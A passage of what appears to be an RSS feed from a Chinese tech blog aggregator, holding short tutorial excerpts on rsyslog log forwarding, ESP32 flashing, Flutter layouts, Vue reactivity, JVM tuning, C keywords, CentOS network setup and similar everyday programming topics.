      <description>linux下的rsyslogd输出文件内容至syslog服务器 rsyslogd输出文件内容至syslog服务器1. 第一步 升级系统内的rsyslogd版本2. 第二步 配置主配置文件3. 第三步 检查与新增配置文件4. 自由阅读 语句解释 rsyslogd输出文件内容至syslog服务器 rsyslogd输出文件内容至syslog服务器，可以将任何文本文件内容输出至syslog服务器，比如tomcat日志、nginx日志、oracle日志、mysql日志、pgdb日志等等，只要是文本文件都可以自由读取并以syslog形式发送出去。&#xA;老规矩，废话不多说，直接放链接。&#xA;rsyslogd下载链接：https://mirrors.aliyun.com/centos/7.9.2009/updates/x86_64/Packages/rsyslog-8.24.0-57.el7_9.3.x86_64.rpm?spm=a2c6h.25603864.0.0.11aca9574RFsgq&#xA;1. 第一步 升级系统内的rsyslogd版本 升级rsyslogd软件版本为rsyslog-8.24.0-57.el7_9.3.x86_64.rpm&#xA;这个版本支持通配符，就是程序一天生成一个以日期结尾的，可以使用*.log来代替详细的文件名称。&#xA;（因为这个版本是亲测没问题，而且不需要依赖关系，其他低版本有问题，而且每个版本的配置语句不同。nxlog依赖关系很多，yum下了900M的依赖包。）&#xA;下载完的rsyslogd直接扔到服务器上，给个执行权限，直接升级操作。&#xA;chmod +x rsyslog-8.24.0-57.el7_9.3.x86_64.rpm &amp;amp;&amp;amp; rpm -Uvh rsyslog-8.24.0-57.el7_9.3.x86_64.rpm&#xA;2. 第二步 配置主配置文件 在/etc/rsyslog.conf文件中，将包含次级的脚本目录打开。（只改动这一个地方，其他地方默认）&#xA;图片放在word里面，再粘出来就变得特别小，用图片和系统内的配置文件对比，就知道改哪里了，并且我也圈了红框。&#xA;3. 第三步 检查与新增配置文件 检查： 1、检查是否存在目录：/var/spool/rsyslog 如不存在需要创建mkdir -p /var/spool/rsyslog&#xA;2、删除或备份/etc/rsyslog.d/下的默认文件&#xA;新建配置文件&#xA;在/etc/rsyslog.d/下新建配置文件&#xA;（名称随意写，但扩展名的后缀必须是.conf 例如tomcat.conf、oracle_log.conf） 配置文件内容为以下代码&#xA;$ModLoad imfile $InputFilePollInterval 5 $WorkDirectory /var/spool/rsyslog $PrivDropToGroup root $InputFileName /mnt/tomcat-9.0.72/logs/localhost_access*.log $InputFileTag tomcat-access: $InputFileStateFile stat-tomcat-access $InputFileSeverity info $InputFilePersistStateInterval 25000 $InputRunFileMonitor $InputFileName /opt/plugin/nginx/logs/error*.log $lnputFileTag tomcat-error: $InputFileStateFile stat-tomcat-error $lnputFileSeverity error $InputFilePersistStateInterval 25000 $InputRunFileMonitor *.</description>
    </item>
    <item>
      <title>VScode下 ESP32 下载程序</title>
      <link>https://bchobby.github.io/posts/f674a9de8c0bc9217af3ae4b25b6c14f/</link>
      <pubDate>Wed, 01 Mar 2023 22:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f674a9de8c0bc9217af3ae4b25b6c14f/</guid>
      <description>ESP32-S3 下载方式可以通过UART0 下载,USB 下载，JTAG下载,还可以使用WIFI进行远程OTA升级程序。&#xA;插件底栏按键介绍：&#xA;①选择串口端口号，如COM3； ②选择芯片型号； ③工程idf设置，相当于menuconfig； ④清理所有编译文件； ⑤编译； ⑥烧录方式，如uart、jtag和DFU； ⑦烧录； ⑧log监视窗口(monitor)； ⑨编译+烧录+自动打开log监视窗口； ⑩openocd配置，开启openocd或停止openocd。 编译和烧录 先配置uart烧录端口，要根据自己实际端口号来选择，然后选择芯片型号，一定要选择目标芯片，不然编译会报错，我选的是ESP32-S3 (ESP-PROG JTAG)，即外部jtag；&#xA;一，UART0下载方式。 硬件环境：&#xA;使用工具“USB转串口”；&#xA;3.3V供电，GND，EN使能；&#xA;上电前IO0引脚先接地，如果使用串口工具查看UART0的输出信息，如下图&#xA;使用VScode下载程序。&#xA;IO0引脚先接地，上电，编译后生成.bin文件。&#xA;编译完，点击图中按键就可以下了。&#xA;下载完成，输出上图信息。&#xA;二，在线调试&#xA;uart0可以下载程序，并不能进行在线调试，在线调试需要使用JTAG，ESP32不支持SWD模式。&#xA;工作原理&#xA;介绍 ESP32-S3、JTAG（Joint Test Action Group）接口、OpenOCD 和 GDB 如何相互连接，从而实现 ESP32-S3 的调试功能&#xA;选择 JTAG 适配器 如果您想使用单独的 JTAG 适配器，请确保其与 ESP32-S3 的电平电压和 OpenOCD 软件都兼容。ESP32-S3 使用的是业界标准的 JTAG 接口，它未使用（实际上也并不需要）TRST 信号脚。JTAG 使用的 IO 管脚由 VDD_3P3_RTC 电源管脚供电（通常连接到外部 3.3 V 的电源轨），因此 JTAG 硬件适配器的管脚需要能够在该电压范围内正常工作。&#xA;在软件方面，OpenOCD 支持相当多数量的 JTAG 适配器，请参阅 OpenOCD 支持的适配器列表 （请注意这一列表并不完整），其中还列出了兼容 SWD 接口的适配器，但请注意，ESP32-S3 目前并不支持 SWD。此外，被硬编码为只支持特定产品线的 JTAG 适配器也无法在 ESP32-S3 上工作，例如仅针对 STM32 系列产品的 ST-LINK 适配器。</description>
    </item>
    <item>
      <title>开放题 - 共享单车测试点整理</title>
      <link>https://bchobby.github.io/posts/bb5729ab7fc8a740c977d70f7387c1b5/</link>
      <pubDate>Wed, 01 Mar 2023 22:23:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb5729ab7fc8a740c977d70f7387c1b5/</guid>
      <description> 标明： 根据目前想到的开锁流程、骑行过程、关锁流程使用场景结合功能、安全、健壮性、性能、兼容等罗列测试点，实际项目中还是要根据需求文档来，欢迎补充～ 开锁： 功能点预期结果定位权限未打卡弹出提示，开启定位定位权限已打开正常进行后续操作登录成功 + 支付押金 + 无正在进行或未付款的订单进入扫码用车界面未登录进入登录界面未支付押金或未满足其他相关抵押条件无法正常用车，需要进入对应页面做相应操作存在未支付订单无法正常用车，需进入支付页面支付存在进行中的订单给出提示，点击可查看当前订单情况扫码用车入口功能正常，点击进入扫码页面相机权限未打开弹出相机权限框拒绝授权相机权限提示授权失败，返回上一页面同意授权相机权限扫码扫描其他二维码提示无效二维码，重新扫描扫描被损坏的二维码无法识别（是否有提示信息根据需求文档来）扫描正常单车二维码进入开锁页面输入正确车辆编号开锁进入开锁页面输入无效的车辆编号提示输入的编号有误，重新输入手电筒功能点击手电筒可以正常使用开锁成功提示音，开始骑行开锁期间短时间中断测试事件结束后不影响正常开锁开锁期间关机等长时间中断需要重新进行开锁操作开锁失败是否给出相应的提示（这里不详细写提示上的功能） 骑行中： 功能点预期结果页面数据显示是否按照实际情况进行显示即将超出运营范围提示即将超出运营范围超出运营范围锁车/不予处理还车入口还车按钮显示点击还车功能正常，弹出提示框取消还车继续骑行确认还车还车成功，显示正确的数据，扣取费用其他功能（定位，客服等）（需求） 关锁： 功能点预期结果免费骑行时间内关锁不扣取任何费用运营区内正常关锁成功提示音，显示对应数据，扣取对应费用骑行费用校验（边界值）根据骑行费用规则具体计算关锁页面金额区域可以查看支付详情关锁故障，超出规定时间提示已超出规定时间，无法上报故障关锁故障，未超出规定时间填写内容正常提交车子在运营区内，个人离车子较远进行锁车操作无法进行锁车，给出对应提示车子超出运营区内锁车提示用户超出运营区域，需要收取调度费用行程分享功能正常，显示内容正常关锁时中断测试不影响正常关锁关锁成功，用户未支付订单，下个用户使用该车子正常使用，正常计费未关锁，下个用户进行扫码使用该用户无法正常扫码使用，给出提示长时间未关锁短信或APP push提醒 或 一定时间内自动关锁 其他方向： 功能点兼容性弱网支付弱网扫码弱网锁车扫码响应时间开锁响应时间锁车响应时间支付响应时间模拟用户长时间点击事件，软件是否正常扫码界面长时间打开，软件是否正常频繁打开关闭手电筒功能，软件是否正常多人同时扫一辆车子，程序是否正确处理易用性… </description>
    </item>
    <item>
      <title>【Flutter入门到进阶】Flutter基础篇---布局</title>
      <link>https://bchobby.github.io/posts/90f95de5b33e4bc6fe8653fe1b776ef4/</link>
      <pubDate>Wed, 01 Mar 2023 21:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90f95de5b33e4bc6fe8653fe1b776ef4/</guid>
      <description>1 GridView网格布局组件 1.1 说明 1.1.1 图例 1.1.2 说明 GridView网格布局在实际项目中用的也是非常多的，当我们想让可以滚动的元素使用矩阵方式排列的时 候。此时我们可以用网格列表组件GridView实现布局&#xA;GridView创建网格列表主要有下面三种方式&#xA;1、可以通过GridView.count 实现网格布局&#xA;2、可以通过GridView.extent 实现网格布局&#xA;3、通过GridView.builder实现动态网格布局&#xA;1.2 常用属性 属性&#xA;1.3 案例 1.3.1 GridView.count 实现网格布局 GridView.count构造函数内部使用了SliverGridDelegateWithFixedCrossAxisCount，我们通过它可以&#xA;快速的创建横轴固定数量子元素的GridView&#xA;示例&#xA;//GridView.count 实现网格布局 class HomePage extends StatelessWidget { const HomePage({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return GridView.count( crossAxisCount: 3, childAspectRatio: 1.0, children: const &amp;lt;Widget&amp;gt;[ Icon(Icons.home), Icon(Icons.ac_unit), Icon(Icons.search), Icon(Icons.settings), Icon(Icons.airport_shuttle), Icon(Icons.all_inclusive), Icon(Icons.beach_access), Icon(Icons.cake), Icon(Icons.circle), ], ); } } 1.3.2 GridView.extent实现网格布局 GridView.</description>
    </item>
    <item>
      <title>npm root -g 查看全局的包的安装路径解决‘cnpm‘ 不是内部或外部命令，也不是可运行的程序 或批处理文件。</title>
      <link>https://bchobby.github.io/posts/17b3ac2d08743b48ef433dc608c4d399/</link>
      <pubDate>Wed, 01 Mar 2023 19:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17b3ac2d08743b48ef433dc608c4d399/</guid>
      <description>问题：&#xA;npm root -g 查看全局的包的安装路径解决’cnpm’ 不是内部或外部命令，也不是可运行的程序 或批处理文件。&#xA;产生原因：&#xA;有时候把node.js 安装不在C盘，安装的D盘&#xA;解决思路：&#xA;产生这个问题一般是环境变量配置不正确引起的。 1、全局安装cnpm 或者nodemon 的时候表示成功安装，去D盘去找的时候，没有node_modules文件夹里面也是空的&#xA;2、输入cnpm 提示：‘’‘cnpm’ 不是内部或外部命令，也不是可运行的程序 或批处理文件。‘’&#xA;3、管理员身份安装也没有办法解决&#xA;4、这个时候去查看环境变量，也发现配置了是D盘的node/node_modules路径，而D盘node/node_modules是空的，所以会提交命令不存在。&#xA;5、这个时候需要去找到真实的node/node_modules安装的位置，然后去添加到的环境变量中&#xA;# 可以用到 下面命令 npm root -g 6、会输出真实的全局依赖安装的路径，把路径复制出来，添加到环境变量，就可解决问题&#xA;7、再次输入 cnpm -v 就可以按到提示版本信息</description>
    </item>
    <item>
      <title>数组以及冒泡和选择排序</title>
      <link>https://bchobby.github.io/posts/6ffd637b6639b0c5ddeaf3f4390b4a4f/</link>
      <pubDate>Wed, 01 Mar 2023 17:04:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ffd637b6639b0c5ddeaf3f4390b4a4f/</guid>
      <description> 数组：可以看作一个容器，存储一组数据（多个），创建数组时，需要给定数据类型，只能存储同一类的数据，必须要明确数组的容量，一旦确定就不能改变。数组是引用类型，可以存储多个值的容器&#xA;数组的两种声明方式：int [] a 或int a [] 一般建议使用第一种&#xA;数组创建的三种方式：int[] ary0 = new int[10]; int[] ary1 = new int[]{1, 2, 3, 4, 5}; int[] ary2 = {1, 2, 3，4，5}&#xA;数组中的每个空间都有一个下标或者称为索引，索引的特点是整数，开始的值为0，最大索引是数组的长度减一，数组的长度是有限制的，最大也是int最大值，数组内部的空间必须是连续的&#xA;数组遍历 可以利用for循环和增强for循坏来对数组将进行遍历&#xA;冒泡排序 选择排序 二维数组 </description>
    </item>
    <item>
      <title>你不知道的JavaScript—变量提升</title>
      <link>https://bchobby.github.io/posts/71bcb736fb53d4ff72543d05319ba591/</link>
      <pubDate>Wed, 01 Mar 2023 16:57:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71bcb736fb53d4ff72543d05319ba591/</guid>
      <description>前言 对于JavaScript而言，var a = 2; 是两个操作。var a 是编译阶段的任务，而 a = 2 是执行阶段的任务。因此，在代码被执行前，所有的声明都会被“移动”到各自作用域的最顶端。这个过程就是“提升”。&#xA;一、变量声明与赋值？ 声明在前，赋值在后。&#xA;只有声明本身会被提升，而赋值或其他运行逻辑会留在原地。&#xA;console.log(a); // undefined var a = 10; // 等价于 var a; console.log(a); // undefined a = 10; 二、函数声明 函数声明本身会被提升，但函数表达式的赋值在内的操作并不会被提升（可理解为普通变量被赋值函数的操作）。&#xA;// 函数提升 bar(); // 1 function bar(){ console.log(&#34;1&#34;); } // 等价于 function bar(){ console.log(&#34;1&#34;); } bar(); // 1 // 函数表达式提升 foo(); // TypeError bar(); // ReferenceError var foo = function bar(){ //... } // 等价于 var foo; foo(); // TypeError bar(); // ReferenceError foo = function(){ var bar = .</description>
    </item>
    <item>
      <title>Vue2与Vue3响应式的详解与比对</title>
      <link>https://bchobby.github.io/posts/4fbf033d8dccfbc85b88e44d2a4008f4/</link>
      <pubDate>Wed, 01 Mar 2023 16:36:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fbf033d8dccfbc85b88e44d2a4008f4/</guid>
      <description>目录 前言一，响应式的理解1.1 Mvvm模式的复习1.2 什么是响应式 二， Vue2中响应式的应用三，Vue2响应式的原理及实现3.1 数据代理3.2 数据代理的原理3.3 数据劫持 四，Vue3中响应式的应用3.1 ref与reactive3.2 ref函数的使用讲解3.3 为什么要出现reactive及其用法 五， Vue3响应式的原理及实现5.1 底层原理5.2 window上内置对象Reflect5.3 Vue3响应式原理的总结 后记 前言 在我们学习Vue响应式之前，我们需要了解，Vue的响应式是什么，Vue响应式的怎么用，以及其内部深层次的原理。&#xA;一，响应式的理解 1.1 Mvvm模式的复习 Vue响应式的响应式又可以称之为数据双向绑定。双向绑定来源于有关Vue设计的Mvvm模式，这里对其进行简单复习。&#xA;Mvvm拆解：&#xA;M：Model：模型，对应data中的数据；&#xA;View：模板，页面结构，可以理解为用户界面，是由真实的Dom结构构成；&#xA;VM：视图模型，对应的是Vue的实例对象。&#xA;可以根据下面这张图片进行理解：&#xA;其中，Model中的数据通过Vm传递给View，在页面中可以反映出name的值为‘巧克力小猫猿’；同样，如果改变了View中name的值（通过input的value），Model中的数据也会发生改变。&#xA;1.2 什么是响应式 响应式就是在数据变化时可以被检测并对这种变化做出响应的机制响应式，简单说就是用户更改数据(Data)时，视图可以自动刷新，页面UI能够响应数据变化。&#xA;结合Mvvm，如果我们要实现响应式，其实就是实现Model到View的同步改变，当数据发生变化时，视图也发生变化。&#xA;二， Vue2中响应式的应用 Vue2中用到响应式的地方很多，用法简单粗暴，比如模板语法。只要data中存在数据，就可以通过模板语法进行使用：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; 我是{{ name }} &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { name: &#39;巧克力小猫猿&#39; } } } &amp;lt;/script&amp;gt; 页面中即可显示data中的数据：&#xA;三，Vue2响应式的原理及实现 3.1 数据代理 数据代理的定义：通过一个对象代理对另一个对象中的属性的操作（读/写），就是数据代理。&#xA;Vue2的响应式原理离不开数据代理。数据代理是什么意思？这里用一个例子来解释。如下，person是一个对象：&#xA;let person = { name: &#39;张三&#39;, age: 18 } 我们可以试着在浏览器控制台来读取数据，修改数据。但是，在vue2中，是vm来管理这些数据。也就是说，我们不直接操纵person，而是通过vm（Vue的实例对象）来管理person中的数据。这种情况就叫做数据代理。</description>
    </item>
    <item>
      <title>JVM调优思路</title>
      <link>https://bchobby.github.io/posts/ecb5d247b1cac5fa6fa9332a87a86310/</link>
      <pubDate>Wed, 01 Mar 2023 16:21:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecb5d247b1cac5fa6fa9332a87a86310/</guid>
      <description>JVM调优思路&#xA;原文链接：&#xA;https://blog.csdn.net/sinat_40770656/article/details/122203566&#xA;监控命令与调优工具&#xA;首先，我们需要了解有哪些常用的性能监控和jvm调优的工具：&#xA;操作系统：&#xA;top： 显示系统整体资源使用情况&#xA;vmstat：监控系统内存和CPU&#xA;iostat：监控系统IO使用情况&#xA;netstat：监控系统网络使用情况&#xA;JDK性能监控工具&#xA;jps：虚拟机进程查看&#xA;jstat：虚拟机运行时信息查看&#xA;jinfo：虚拟机配置查看&#xA;jmap：内存映像&#xA;jhat：堆转储快照分析&#xA;jstack：java堆栈跟踪&#xA;jcmd：实现以上除了jstack所有功能&#xA;jdk可视化性能监控工具：&#xA;JConsole&#xA;VisualVM&#xA;Java Mission Control&#xA;三方工具：&#xA;MAT：java堆内存分析工具&#xA;GChisto：GC日志分析工具&#xA;GCViewer：GC日志分析工具&#xA;JProfiler：商用的性能分析器&#xA;arthas：阿里开源诊断工具（https://arthas.aliyun.com/doc/）&#xA;async-profiler：java应用性能分析工具，开源，火焰图、跨平台&#xA;JVM常见的参数配置&#xA;传送门：jvm参数详解&#xA;比较常见的一些参数配置：&#xA;堆配置：&#xA;-Xms：初始堆大小&#xA;-Xmx：最大堆大小&#xA;-XX:NewSize ：设置年轻代大小&#xA;-XX:PermSize：设置老年代大小&#xA;······&#xA;GC收集器配置：&#xA;-XX:+UseParNewGC ：设置年轻代为并行收集&#xA;-XX:+UseParallelOldGC ：年老代垃圾收集方式为并行收集(Parallel Compacting)&#xA;-XX:+UseConcMarkSweepGC：使用CMS内存收集&#xA;······&#xA;······&#xA;有做过JVM调优么？&#xA;JVM调优是一件很严肃的事情，前期需要严密的分析和监控。实际上，JVM调优是不得已而为之，有那功夫，好好把烂代码重构一下不比瞎调JVM参数强么？&#xA;面试官非要问怎么办？可以从处理问题的角度来回答（对应图中事后），这是一个中规中矩的案例：电商公司的运营后台系统，偶发性的引发OOM异常，堆内存溢出。&#xA;1、因为是偶发性的，所以第一次简单的认为就是堆内存不足导致，单方面的加大了堆内存从4G调整到8G -Xms8g。&#xA;2、但是问题依然没有解决，只能从堆内存信息下手，通过开启了-XX:+HeapDumpOnOutOfMemoryError参数 获得堆内存的dump文件。&#xA;3、用JProfiler 对 堆dump文件进行分析，通过JProfiler查看到占用内存最大的对象是String对象，本来想跟踪着String对象找到其引用的地方，但dump文件太大，跟踪进去的时候总是卡死，而String对象占用比较多也比较正常，最开始也没有认定就是这里的问题，于是就从线程信息里面找突破点。&#xA;4、通过线程进行分析，先找到了几个正在运行的业务线程，然后逐一跟进业务线程看了下代码，有个方法引起了我的注意，导出订单信息。&#xA;5、因为订单信息导出这个方法可能会有几万的数据量，首先要从数据库里面查询出来订单信息，然后把订单信息生成excel，这个过程会产生大量的String对象。&#xA;6、为了验证自己的猜想，于是准备登录后台去测试下，结果在测试的过程中发现导出订单的按钮前端居然没有做点击后按钮置灰交互事件，后端也没有做防止重复提交，因为导出订单数据本来就非常慢，使用的人员可能发现点击后很久后页面都没反应，然后就一直点，结果就大量的请求进入到后台，堆内存产生了大量的订单对象和EXCEL对象，而且方法执行非常慢，导致这一段时间内这些对象都无法被回收，所以最终导致内存溢出。&#xA;7、知道了问题就容易解决了，最终没有调整任何JVM参数，只是做了两个处理：&#xA;在前端的导出订单按钮上加上了置灰状态，等后端响应之后按钮才可以进行点击&#xA;后端代码加分布式锁，做防重处理&#xA;这样双管齐下，保证导出的请求不会一直打到服务端，问题解决！&#xA;线上服务占用CPU过高怎么排查？</description>
    </item>
    <item>
      <title>无法加载Word2Vec-google-news-300</title>
      <link>https://bchobby.github.io/posts/dd57f91b605f971c055b1726c91a2c45/</link>
      <pubDate>Wed, 01 Mar 2023 15:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd57f91b605f971c055b1726c91a2c45/</guid>
      <description>1.错误提示 无法直接下载&#39;word2vec-google-news-300&#39;&#xA;输入代码：&#xA;import gensim.downloader as api wv = api.load(&#39;word2vec-google-news-300&#39;) 获得报错：&#xA;remote end closed connection without response&#xA;2.解决办法 2.1 手动下载数据 ① 数据 在下面的网站找到的&#xA;RaRe-Technologies/gensim-dataGoogle Code Archive：word2vec ！The archive is available here: GoogleNews-vectors-negative300.bin.gz.(←这里下载)&#xA;！！word2vec-google-news-300(←没法翻墙就这里下载)&#xA;提取码: word&#xA;② 解压 手动下载下来word2vec-google-news-300.gz，将解压后的文件GoogleNews-vectors-negative300.bin放在~/gensim-data/word2vec-google-news-300目录下&#xA;但是再运行上述代码，还是会报错：&#xA;2.2 再使用以下代码：&#xA;from gensim.models import KeyedVectors from gensim.test.utils import datapath wv_from_bin = KeyedVectors.load_word2vec_format(datapath(r&#34;~/gensim-data/word2vec-google-news-300/GoogleNews-vectors-negative300.bin&#34;), binary=True) 可以了！&#xA;3.参考博客 AttributeError：module ‘word2vec-google-news-300’ has no attribute ‘load data’</description>
    </item>
    <item>
      <title>前端页面主题切换方案</title>
      <link>https://bchobby.github.io/posts/8ca8ec2d57df146f804261e000c11486/</link>
      <pubDate>Wed, 01 Mar 2023 15:30:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ca8ec2d57df146f804261e000c11486/</guid>
      <description>方案1：link标签动态引入 其做法就是提前准备好几套CSS主题样式文件，在需要的时候，创建link标签动态加载到head标签中，或者是动态改变link标签的href属性。&#xA;优点： 实现了按需加载，提高了首屏加载时的性能&#xA;缺点： 动态加载样式文件，如果文件过大网络情况不佳的情况下可能会有加载延迟，导致样式切换不流畅&#xA;如果主题样式表内定义不当，会有优先级问题&#xA;各个主题样式是写死的，后续针对某一主题样式表修改或者新增主题也很麻烦&#xA;方案2：提前引入所有主题样式，做类名切换 这种方案与第一种比较类似，为了解决反复加载样式文件问题提前将样式全部引入，在需要切换主题的时候将指定的根元素类名更换，相当于直接做了样式覆盖，在该类名下的各个样式就统一地更换了。其基本方法如下：&#xA;/* day样式主题 */ body.day .box { color: #f90; background: #fff; } /* dark样式主题 */ body.dark .box { color: #eee; background: #333; } .box { width: 100px; height: 100px; border: 1px solid #000; } &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;p&amp;gt;hello&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;p&amp;gt; 选择样式： &amp;lt;button onclick=&#34;change(&#39;day&#39;)&#34;&amp;gt;day&amp;lt;/button&amp;gt; &amp;lt;button onclick=&#34;change(&#39;dark&#39;)&#34;&amp;gt;dark&amp;lt;/button&amp;gt; &amp;lt;/p&amp;gt; functionchange(theme) { document.body.className = theme; } 优点： 不用重新加载样式文件，在样式切换时不会有卡顿&#xA;缺点： 首屏加载时会牺牲一些时间加载样式资源&#xA;如果主题样式表内定义不当，也会有优先级问题&#xA;各个主题样式是写死的，后续针对某一主题样式表修改或者新增主题也很麻烦&#xA;方案3：CSS变量+类名切换 灵感参考：Vue3官网&#xA;在Vue3官网有一个暗黑模式切换按钮，点击之后就会平滑地过渡，虽然Vue3中也有一个v-bind特性可以实现动态样式绑定，但经过观察以后Vue官网并没有采取这个方案，针对Vue3的v-bind特性在接下来的方案中会细说。</description>
    </item>
    <item>
      <title>C语言查漏补缺（进阶）volatile、__attribute__、void*、地址对齐、$$Super$main</title>
      <link>https://bchobby.github.io/posts/c787048f63cbc68ab10144f9492546bb/</link>
      <pubDate>Wed, 01 Mar 2023 13:33:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c787048f63cbc68ab10144f9492546bb/</guid>
      <description>最近在学习RT-Thread，在看其源码的时候发现了许多自己不太了解的C语言知识点，在此查漏补缺一下。&#xA;1. 关键字 volatile volatile是C90新增关键字，volatile的的中文意思是adj.易变的；无定性的；无常性的；可能急剧波动。与const正好是相反的，说明变量是允许被外界改变的。&#xA;当定义了一个无volatile修饰的变量时，如果通过硬件等方式改变其值则这个变量的值会被编译器优化，即编译器发现程序并没有改变该变量的值，程序继续使用其原先的值。&#xA;如果加了volatile，程序每次需要读取该变量的值时会直接从该变量的地址读取，当变量的值通过硬件的方式改变后，程序从变量地址读取后的值是通过硬件改变的值。从而不被编译器优化。&#xA;使用方式：&#xA;volatile int v; 在STM32编程中常用__IO这个宏来表示volatile&#xA;参考：菜鸟教程&#xA;register register 存储类用于定义存储在寄存器中而不是 内存 中的局部变量。这意味着变量的最大尺寸等于寄存器的大小（通常是一个字），且不能对它应用一元的 ‘&amp;amp;’ 运算符（因为它没有内存位置）。&#xA;{ register int miles; } 寄存器只用于需要快速访问的变量，比如计数器。还应注意的是，定义 ‘register’ 并不意味着变量将被存储在寄存器中，它意味着变量可能存储在寄存器中，这取决于硬件和实现的限制。&#xA;注意事项：&#xA;1、register修饰符暗示编译程序相应的变量将被频繁地使用，如果可能的话，应将其保存在CPU的寄存器中，以加快其存储速度。例如下面的内存块拷贝代码&#xA;2、但是使用register修饰符有几点限制&#xA;（1）register变量必须是能被CPU所接受的类型。&#xA;这通常意味着register变量必须是一个单个的值，并且长度应该小于或者等于整型的长度。不过，有些机器的寄存器也能存放浮点数。&#xA;（2）因为register变量可能不存放在内存中，所以不能用“&amp;amp;”来获取register变量的地址。&#xA;（3）只有局部自动变量和形式参数可以作为寄存器变量，其它（如全局变量）不行。&#xA;在调用一个函数时占用一些寄存器以存放寄存器变量的值，函数调用结束后释放寄存器。此后，在调用另外一个函数时又可以利用这些寄存器来存放该函数的寄存器变量。&#xA;（4）局部静态变量不能定义为寄存器变量。不能写成：register static int a, b, c;&#xA;（5）由于寄存器的数量有限（不同的cpu寄存器数目不一），不能定义任意多个寄存器变量，而且某些寄存器只能接受特定类型的数据（如指针和浮点数），因此真正起作用的register修饰符的数目和类型都依赖于运行程序的机器，而任何多余的register修饰符都将被编译程序所忽略。&#xA;注意：&#xA;早期的C编译程序不会把变量保存在寄存器中，除非你命令它这样做，这时register修饰符是C语言的一种很有价值的补充。然而，随着编译程序设计技术的进步，在决定哪些变量应该被存到寄存器中时，现在的C编译环境能比程序员做出更好的决定。实际上，许多编译程序都会忽略register修饰符，因为尽管它完全合法，但它仅仅是暗示而不是命令&#xA;参考：&#xA;浅析C语言的一个关键字——register&#xA;C存储类&#xA;enum enum是C90标准新增的关键字，enum本质是int型，语法上与结构体相同，用于提高程序的可读性。&#xA;注意：C++中不允许枚举类型进行++操作。而C语言允许，因此一个C程序移植为C++时可以将枚举类型改为int型&#xA;默认值：如果不赋值则默认从0开始递增，如果中间有元素被赋值，则后面的值依次递增。&#xA;enum color = {red,green,blue,pink}; /* red,green,blue,pink成为 */ void* void很常见，常用于限定函数的返回值为无以及函数的参数为空，但是void *却是头一次见，void *可以接收任意指针，但是指针在接收void *之前必须进行强制类型转换。内存分配函数malloc的返回值就是void*指针，所以需要强制类型转换。&#xA;int *a; void *p; p = a;//void指针可以接收其他类型指针 a = (int*)p;//其他类型指针接收void指针，需要进行强制类型转换 在ANSI C中不允许void *进行自加操作，而GNU中可以。因为GNU将void *看做char *</description>
    </item>
    <item>
      <title>CentOS8基础篇10：网络环境配置</title>
      <link>https://bchobby.github.io/posts/6c7aaa91411e55e22a1b9cea4688f86b/</link>
      <pubDate>Wed, 01 Mar 2023 11:26:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c7aaa91411e55e22a1b9cea4688f86b/</guid>
      <description>管理员为了能够更好的管理和维护网络，需要配置服务器的网络环境，再将服务器部署到网络环境中。为此他需要完成以下工作：&#xA;设置临时主机名为Server。&#xA;设置网卡信息：IP地址为192.168.137.5，子网掩码是255.255.255.0；设置客户端域名解析服务器地址是219.216.129.5。&#xA;对于每一步的设置，管理员都要作相应的查看以验证设置成功。&#xA;一、主机名的配置&#xA;1．使用hostname命令临时设置主机名&#xA;命令格式：hostname [新主机名]&#xA;使用hostname命令设置的主机名立刻生效，可以使用hostname命令来查询设置是否成功。但是，hostname命令的设置是临时的，当系统重启后会恢复成原主机名。这是由于hostname命令的设置内容并没有更新到网络配置文件/etc /hosts中主机名的选项中。&#xA;2．永久设置主机名&#xA;CentOS Linux 8使用/etc/hosts配置文件存储主机名信息，然而使用hostname命令设置主机名并未修改该配置文件的内容，因此hostname命令未实现永久性修改，若想实现主机名永久性修改，可使用命令：#hostnamectl set-hostname 新主机名，此命令将修改配置文件/etc/hosts。系统重启时会读取该文件中的内容从而对主机名进行配置。&#xA;二、网卡信息的配置&#xA;1．网卡配置文件&#xA;对于网卡信息的配置通常包括：配置IP地址、子网掩码、网关。网卡信息保存在网卡配置文件中。网卡配置文件位于/etc/sysconfig/network-scripts目录下。一块网卡对应一个网卡配置文件。&#xA;ifcfg-ens33为网卡配置文件。&#xA;常用配置项的含义如下：&#xA;DEVICE=ens33 //定义该网卡的识别名称。&#xA;BOOTPROTO=dhcp //启动该网卡的方式，dhcp表示通过BOOTP或DHCP协议动态取得IP地址。&#xA;ONBOOT=yes //启动network服务时，是否启动该网卡。&#xA;TYPE=Ethernet //网卡的类型。&#xA;2．配置网卡信息&#xA;（1）直接修改网卡配置文件&#xA;（2） ifconfig命令&#xA;①查看网卡信息&#xA;命令格式： ifconfig [选项]&#xA;选项说明：&#xA;无选项：显示当前活动的网卡。&#xA;–a ：显示系统中所有网卡配置信息。&#xA;网卡设备名：显示指定网卡配置信息。&#xA;〖例1〗 查看ens33网卡的信息。&#xA;通过输出结果可以看到ens33的IP地址是192.168.65.129，MAC地址是00：0c：29：c5：3c：5f，子网掩码是255.255.255.0。&#xA;②设置IP地址&#xA;命令格式： ifconfig 网卡设备名 IP地址 netmask 子网掩码&#xA;采用ifconfig命令设置的IP地址即时生效，但是重启机器后，IP地址又恢复到原IP地址，所以ifconfig命令只能用于设置临时IP地址。&#xA;〖例6.2〗 使用ifconfig命令将当前网卡ens33的IP地址设置为192.168.168.156，子网掩码255.255.255.0 。&#xA;③ 修改网卡的MAC地址&#xA;命令格式：ifconfig 网卡设备名 hw ether MAC地址&#xA;注意在修改网卡的MAC地址之前要禁用网卡，修改后要启用网卡。&#xA;〖例3〗 